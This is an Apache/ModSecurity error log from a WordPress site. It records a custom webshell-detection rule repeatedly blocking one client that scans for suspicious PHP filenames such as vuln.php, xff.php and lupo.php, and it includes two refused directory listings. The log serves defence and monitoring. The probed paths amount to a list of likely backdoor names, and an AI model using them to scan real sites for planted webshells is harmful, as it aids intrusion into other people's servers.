[Sat Apr 25 20:57:36.128516 2026] [:error] [pid 3212:tid 3220] [client 74.248.33.118:59826] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-alone.php"] [unique_id "aey6QPg-28TY8_YLtUcjgQAAAQY"]
[Sat Apr 25 20:57:36.710265 2026] [:error] [pid 59898:tid 59974] [client 74.248.33.118:61521] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-alone.php"] [unique_id "aey6QB-4vImxb0kbdzen-gAAANQ"]
[Sat Apr 25 20:57:37.330943 2026] [:error] [pid 59897:tid 59932] [client 74.248.33.118:61567] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-alone.php"] [unique_id "aey6QfBrrkdzpEbmK4d_2AAAAIU"]
[Sat Apr 25 20:57:37.944413 2026] [:error] [pid 59896:tid 59923] [client 74.248.33.118:59891] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-alone.php"] [unique_id "aey6QbLLzhtkd-OXUgDntQAAAFc"]
[Sat Apr 25 20:57:38.584134 2026] [:error] [pid 59985:tid 60006] [client 74.248.33.118:57273] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yasnu.php"] [unique_id "aey6QgF_zDvEhKvyTH6o2gAAABM"]
[Sat Apr 25 20:57:39.251211 2026] [:error] [pid 59985:tid 60001] [client 74.248.33.118:59857] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yasnu.php"] [unique_id "aey6QwF_zDvEhKvyTH6o3AAAAA4"]
[Sat Apr 25 20:57:39.798450 2026] [:error] [pid 3212:tid 3227] [client 74.248.33.118:58599] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yasnu.php"] [unique_id "aey6Q_g-28TY8_YLtUcjigAAAQ0"]
[Sat Apr 25 20:57:40.426311 2026] [:error] [pid 3212:tid 3221] [client 74.248.33.118:56193] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yasnu.php"] [unique_id "aey6RPg-28TY8_YLtUcjjQAAAQc"]
[Sat Apr 25 20:57:41.057209 2026] [:error] [pid 59898:tid 59975] [client 74.248.33.118:61523] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sl.php"] [unique_id "aey6RR-4vImxb0kbdzeoAAAAANU"]
[Sat Apr 25 20:57:41.651360 2026] [:error] [pid 59898:tid 59970] [client 74.248.33.118:58516] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sl.php"] [unique_id "aey6RR-4vImxb0kbdzeoAgAAANA"]
[Sat Apr 25 20:57:42.237538 2026] [:error] [pid 3212:tid 3226] [client 74.248.33.118:58505] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sl.php"] [unique_id "aey6Rvg-28TY8_YLtUcjkwAAAQw"]
[Sat Apr 25 20:57:42.934650 2026] [:error] [pid 59898:tid 59957] [client 74.248.33.118:61862] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sl.php"] [unique_id "aey6Rh-4vImxb0kbdzeoBAAAAMM"]
[Sat Apr 25 20:57:43.492583 2026] [:error] [pid 3212:tid 3237] [client 74.248.33.118:58385] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vuln.php"] [unique_id "aey6R_g-28TY8_YLtUcjnAAAARc"]
[Sat Apr 25 20:57:44.060177 2026] [:error] [pid 59897:tid 59944] [client 74.248.33.118:61555] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vuln.php"] [unique_id "aey6SPBrrkdzpEbmK4d_4AAAAJE"]
[Sat Apr 25 20:57:44.678308 2026] [:error] [pid 59896:tid 59909] [client 74.248.33.118:59859] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vuln.php"] [unique_id "aey6SLLLzhtkd-OXUgDnuQAAAEk"]
[Sat Apr 25 20:57:45.283598 2026] [:error] [pid 59897:tid 59948] [client 74.248.33.118:61529] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vuln.php"] [unique_id "aey6SfBrrkdzpEbmK4d_4QAAAJU"]
[Sat Apr 25 20:57:45.826489 2026] [:error] [pid 59897:tid 59935] [client 74.248.33.118:59892] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-temp.php"] [unique_id "aey6SfBrrkdzpEbmK4d_4gAAAIg"]
[Sat Apr 25 20:57:46.492509 2026] [:error] [pid 59985:tid 59995] [client 74.248.33.118:59876] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-temp.php"] [unique_id "aey6SgF_zDvEhKvyTH6o4QAAAAg"]
[Sat Apr 25 20:57:47.108082 2026] [:error] [pid 3212:tid 3219] [client 74.248.33.118:59814] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-temp.php"] [unique_id "aey6S_g-28TY8_YLtUcjpgAAAQU"]
[Sat Apr 25 20:57:47.663174 2026] [:error] [pid 3212:tid 3224] [client 74.248.33.118:57286] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-temp.php"] [unique_id "aey6S_g-28TY8_YLtUcjqwAAAQo"]
[Sat Apr 25 20:58:05.618753 2026] [:error] [pid 59896:tid 59909] [client 74.248.33.118:58527] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/buttons/"] [unique_id "aey6XbLLzhtkd-OXUgDn4gAAAEk"]
[Sat Apr 25 20:58:06.860185 2026] [autoindex:error] [pid 59897:tid 59951] [client 74.248.33.118:58535] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/buttons/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Apr 25 20:58:49.295267 2026] [autoindex:error] [pid 59896:tid 59907] [client 74.248.33.118:57312] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Apr 25 20:58:57.228335 2026] [:error] [pid 59897:tid 59938] [client 74.248.33.118:58535] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/huya.php"] [unique_id "aey6kfBrrkdzpEbmK4eANAAAAIs"]
[Sat Apr 25 20:58:57.829186 2026] [:error] [pid 59897:tid 59951] [client 74.248.33.118:61509] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/huya.php"] [unique_id "aey6kfBrrkdzpEbmK4eANQAAAJg"]
[Sat Apr 25 20:58:58.559495 2026] [:error] [pid 59897:tid 59930] [client 74.248.33.118:58614] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/huya.php"] [unique_id "aey6kvBrrkdzpEbmK4eAOAAAAIM"]
[Sat Apr 25 20:58:59.403060 2026] [:error] [pid 59897:tid 59936] [client 74.248.33.118:58534] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/huya.php"] [unique_id "aey6k_BrrkdzpEbmK4eAPQAAAIk"]
[Sat Apr 25 20:59:00.104822 2026] [:error] [pid 59896:tid 59910] [client 74.248.33.118:61526] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/puc.php"] [unique_id "aey6lLLLzhtkd-OXUgDoXgAAAEo"]
[Sat Apr 25 20:59:00.674154 2026] [:error] [pid 59985:tid 60001] [client 74.248.33.118:59806] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/puc.php"] [unique_id "aey6lAF_zDvEhKvyTH6pVQAAAA4"]
[Sat Apr 25 20:59:01.515464 2026] [:error] [pid 59896:tid 59917] [client 74.248.33.118:59866] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/puc.php"] [unique_id "aey6lbLLzhtkd-OXUgDoZAAAAFE"]
[Sat Apr 25 20:59:02.197388 2026] [:error] [pid 59898:tid 59957] [client 74.248.33.118:59839] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/puc.php"] [unique_id "aey6lh-4vImxb0kbdzeoVQAAAMM"]
[Sat Apr 25 20:59:02.791364 2026] [:error] [pid 59898:tid 59964] [client 74.248.33.118:59837] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "aey6lh-4vImxb0kbdzeoVgAAAMo"]
[Sat Apr 25 20:59:03.911465 2026] [:error] [pid 59898:tid 59960] [client 74.248.33.118:59899] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "aey6lx-4vImxb0kbdzeoZQAAAMY"]
[Sat Apr 25 20:59:04.732904 2026] [:error] [pid 3212:tid 3219] [client 74.248.33.118:61827] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "aey6mPg-28TY8_YLtUckQQAAAQU"]
[Sat Apr 25 20:59:05.443767 2026] [:error] [pid 59896:tid 59917] [client 74.248.33.118:57339] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "aey6mbLLzhtkd-OXUgDodQAAAFE"]
[Sat Apr 25 20:59:06.318728 2026] [:error] [pid 59897:tid 59929] [client 74.248.33.118:61835] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ewp.php"] [unique_id "aey6mvBrrkdzpEbmK4eAQgAAAII"]
[Sat Apr 25 20:59:07.130423 2026] [:error] [pid 3212:tid 3232] [client 74.248.33.118:58508] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ewp.php"] [unique_id "aey6m_g-28TY8_YLtUckRAAAARI"]
[Sat Apr 25 20:59:08.086146 2026] [:error] [pid 3212:tid 3223] [client 74.248.33.118:58545] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ewp.php"] [unique_id "aey6nPg-28TY8_YLtUckRwAAAQk"]
[Sat Apr 25 20:59:09.233278 2026] [:error] [pid 59985:tid 59994] [client 74.248.33.118:57312] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ewp.php"] [unique_id "aey6nQF_zDvEhKvyTH6pZQAAAAc"]
[Sat Apr 25 20:59:10.107606 2026] [:error] [pid 3212:tid 3227] [client 74.248.33.118:57306] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kikikoko.php"] [unique_id "aey6nvg-28TY8_YLtUckTwAAAQ0"]
[Sat Apr 25 20:59:12.750924 2026] [:error] [pid 59896:tid 59919] [client 74.248.33.118:58530] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kikikoko.php"] [unique_id "aey6oLLLzhtkd-OXUgDoegAAAFM"]
[Sat Apr 25 20:59:13.695636 2026] [:error] [pid 59985:tid 59991] [client 74.248.33.118:61515] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kikikoko.php"] [unique_id "aey6oQF_zDvEhKvyTH6pZwAAAAQ"]
[Sat Apr 25 20:59:14.525877 2026] [:error] [pid 59896:tid 59922] [client 74.248.33.118:61520] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kikikoko.php"] [unique_id "aey6orLLzhtkd-OXUgDofgAAAFY"]
[Sat Apr 25 20:59:15.106015 2026] [:error] [pid 3212:tid 3227] [client 74.248.33.118:59903] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dx.php"] [unique_id "aey6o_g-28TY8_YLtUckYwAAAQ0"]
[Sat Apr 25 20:59:15.766718 2026] [:error] [pid 59897:tid 59947] [client 74.248.33.118:58588] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dx.php"] [unique_id "aey6o_BrrkdzpEbmK4eAVAAAAJQ"]
[Sat Apr 25 20:59:16.516634 2026] [:error] [pid 59985:tid 59988] [client 74.248.33.118:59896] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dx.php"] [unique_id "aey6pAF_zDvEhKvyTH6paQAAAAE"]
[Sat Apr 25 20:59:17.386921 2026] [:error] [pid 59985:tid 59999] [client 74.248.33.118:58572] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dx.php"] [unique_id "aey6pQF_zDvEhKvyTH6pawAAAAw"]
[Sat Apr 25 20:59:18.267088 2026] [:error] [pid 59985:tid 59996] [client 74.248.33.118:57309] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xff.php"] [unique_id "aey6pgF_zDvEhKvyTH6pbwAAAAk"]
[Sat Apr 25 20:59:19.823526 2026] [:error] [pid 59896:tid 59900] [client 74.248.33.118:58546] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xff.php"] [unique_id "aey6p7LLzhtkd-OXUgDoiAAAAEA"]
[Sat Apr 25 20:59:20.764488 2026] [:error] [pid 59897:tid 59936] [client 74.248.33.118:58574] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xff.php"] [unique_id "aey6qPBrrkdzpEbmK4eAVgAAAIk"]
[Sat Apr 25 20:59:21.481853 2026] [:error] [pid 3212:tid 3221] [client 74.248.33.118:61511] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xff.php"] [unique_id "aey6qfg-28TY8_YLtUckbgAAAQc"]
[Sat Apr 25 20:59:22.313153 2026] [:error] [pid 3212:tid 3237] [client 74.248.33.118:61528] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lupo.php"] [unique_id "aey6qvg-28TY8_YLtUckcQAAARc"]
[Sat Apr 25 20:59:22.929637 2026] [:error] [pid 3212:tid 3229] [client 74.248.33.118:61549] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lupo.php"] [unique_id "aey6qvg-28TY8_YLtUckcwAAAQ8"]
[Sat Apr 25 20:59:24.055684 2026] [:error] [pid 59896:tid 59901] [client 74.248.33.118:61849] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lupo.php"] [unique_id "aey6rLLLzhtkd-OXUgDokAAAAEE"]
[Sat Apr 25 20:59:24.647813 2026] [:error] [pid 59985:tid 60003] [client 74.248.33.118:58613] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lupo.php"] [unique_id "aey6rAF_zDvEhKvyTH6peQAAABA"]
[Sat Apr 25 20:59:25.532353 2026] [:error] [pid 59985:tid 59999] [client 74.248.33.118:61514] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/awa.php"] [unique_id "aey6rQF_zDvEhKvyTH6pewAAAAw"]
[Sat Apr 25 20:59:26.226447 2026] [:error] [pid 59896:tid 59909] [client 74.248.33.118:59791] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/awa.php"] [unique_id "aey6rrLLzhtkd-OXUgDolAAAAEk"]
